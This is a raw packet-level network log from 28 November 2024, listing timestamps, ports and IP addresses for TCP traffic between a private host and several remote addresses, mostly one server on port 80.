Nov 28, 2024 00:19:44.363725901 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.363888979 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.364003897 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.364757061 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.364809036 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.364881992 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.364929914 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.366014957 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.366058111 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.366198063 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.366364956 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.400912046 CET	443	49849	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:44.401482105 CET	49849	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:44.401509047 CET	443	49849	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:44.402180910 CET	49849	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:44.402196884 CET	443	49849	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:44.461729050 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.461802006 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.461831093 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.461874962 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.462302923 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.462362051 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.462362051 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.462429047 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.463416100 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.463541031 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.463550091 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.463907957 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.464553118 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.464703083 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.530777931 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.601214886 CET	443	49844	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:44.601291895 CET	443	49844	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:44.601442099 CET	49844	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:44.605590105 CET	49844	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:44.605617046 CET	443	49844	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:44.605705976 CET	49844	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:44.605712891 CET	443	49844	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:44.608676910 CET	49862	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:44.608724117 CET	443	49862	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:44.609088898 CET	49862	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:44.610616922 CET	49862	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:44.610636950 CET	443	49862	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:44.654454947 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.860707045 CET	443	49850	20.198.119.143	192.168.2.6
Nov 28, 2024 00:19:44.860778093 CET	49850	443	192.168.2.6	20.198.119.143
Nov 28, 2024 00:19:44.861403942 CET	443	49849	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:44.861476898 CET	443	49849	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:44.861859083 CET	49849	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:44.863043070 CET	49850	443	192.168.2.6	20.198.119.143
Nov 28, 2024 00:19:44.863050938 CET	443	49850	20.198.119.143	192.168.2.6
Nov 28, 2024 00:19:44.863295078 CET	443	49850	20.198.119.143	192.168.2.6
Nov 28, 2024 00:19:44.866472006 CET	49849	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:44.866489887 CET	443	49849	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:44.866568089 CET	49849	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:44.866575003 CET	443	49849	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:44.869812012 CET	49850	443	192.168.2.6	20.198.119.143
Nov 28, 2024 00:19:44.881575108 CET	49850	443	192.168.2.6	20.198.119.143
Nov 28, 2024 00:19:44.881584883 CET	443	49850	20.198.119.143	192.168.2.6
Nov 28, 2024 00:19:44.881987095 CET	49850	443	192.168.2.6	20.198.119.143
Nov 28, 2024 00:19:44.887348890 CET	49863	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:44.887389898 CET	443	49863	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:44.887464046 CET	49863	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:44.888748884 CET	49863	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:44.888763905 CET	443	49863	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:44.927330971 CET	443	49850	20.198.119.143	192.168.2.6
Nov 28, 2024 00:19:44.989759922 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.989860058 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.989952087 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.989952087 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.990217924 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.990273952 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.990293980 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.990498066 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.990973949 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.991039991 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.991164923 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.991539001 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.992132902 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.992255926 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.992305040 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.993256092 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.993321896 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.993341923 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.993388891 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.994379044 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.994446993 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.994487047 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.994530916 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.995495081 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.995554924 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.995631933 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.995812893 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.996666908 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.996726036 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.996773958 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.996882915 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.997786999 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.997844934 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.997891903 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.997942924 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.998929024 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.998992920 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.999110937 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.999150991 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.000051975 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.000093937 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.000111103 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.000540972 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.001198053 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.001270056 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.001300097 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.001415968 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.002274036 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.002326965 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.002356052 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.002392054 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.003418922 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.003472090 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.003534079 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.004107952 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.004575014 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.004621029 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.004667997 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.004703045 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.005724907 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.005778074 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.005989075 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.006030083 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.006798983 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.006840944 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.006894112 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.006937027 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.007987022 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.008034945 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.008090973 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.008179903 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.009078979 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.009130001 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.009157896 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.009195089 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.010211945 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.010310888 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.010370016 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.010528088 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.011368990 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.011382103 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.011430979 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.012546062 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.012645960 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.012670040 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.012689114 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.013664007 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.013957977 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.014020920 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.014736891 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.014877081 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.014879942 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.015119076 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.015899897 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.016016006 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.017004013 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.017064095 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.017198086 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.018179893 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.018230915 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.018301964 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.018879890 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.019269943 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.019360065 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.019360065 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.019406080 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.020420074 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.020610094 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.020659924 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.021553993 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.021666050 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.021713018 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.022639990 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.023555994 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.113666058 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.113795996 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.113831997 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.113858938 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.114180088 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.114365101 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.114366055 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.114402056 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.114409924 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.114492893 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.115490913 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.115567923 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.115597963 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.115597963 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.116185904 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.116285086 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.116345882 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.117328882 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.117397070 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.117516994 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.117728949 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.118442059 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.118546963 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.118603945 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.119602919 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.119704008 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.119744062 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.120706081 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.120780945 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.120805979 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.120851994 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.121855974 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.121925116 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.121956110 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.121998072 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.123003006 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.123022079 CET	49866	443	192.168.2.6	20.199.58.43
Nov 28, 2024 00:19:45.123068094 CET	443	49866	20.199.58.43	192.168.2.6
Nov 28, 2024 00:19:45.123102903 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.123106956 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.123136044 CET	49866	443	192.168.2.6	20.199.58.43
Nov 28, 2024 00:19:45.123161077 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.124130964 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.124238014 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.124279022 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.125262022 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.125333071 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.125366926 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.125518084 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.126377106 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.126435995 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.126477003 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.126691103 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.127528906 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.127594948 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.127701044 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.128664017 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.128727913 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.128755093 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.128771067 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.129790068 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.129914999 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.129964113 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.130928040 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.131062031 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.131125927 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.132045031 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.132102966 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.132110119 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.132317066 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.133204937 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.133277893 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.133321047 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.133449078 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.134318113 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.134402990 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.134439945 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.134562969 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.135423899 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.135492086 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.135545969 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.135587931 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.136625051 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.136699915 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.136759043 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.137695074 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.137767076 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.137806892 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.137840986 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.138860941 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.138895988 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.138921022 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.138957977 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.139972925 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.140064955 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.140074968 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.140125036 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.141139984 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.141149998 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.141208887 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.154227972 CET	49866	443	192.168.2.6	20.199.58.43
Nov 28, 2024 00:19:45.154254913 CET	443	49866	20.199.58.43	192.168.2.6
Nov 28, 2024 00:19:45.214801073 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.214916945 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.215081930 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.215127945 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.215262890 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.215318918 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.215380907 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.215542078 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.216164112 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.216272116 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.216315985 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.216371059 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.217312098 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.217371941 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.217475891 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.217519045 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.217876911 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.217967987 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.218015909 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.219042063 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.219110012 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.219151020 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.219276905 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.220172882 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.220237970 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.220274925 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.220314980 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.221281052 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.221337080 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.221554041 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.221594095 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.222539902 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.222601891 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.222719908 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.222841024 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.223536968 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.223673105 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.223723888 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.224690914 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.224752903 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.224772930 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.224850893 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.225878954 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.225958109 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.225958109 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.226021051 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.226933956 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.227001905 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.227057934 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.227246046 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.228081942 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.228212118 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.228274107 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.229248047 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.229294062 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.229322910 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.229337931 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.230355024 CET	80	49794	185.215.113.206	192.168.2.6
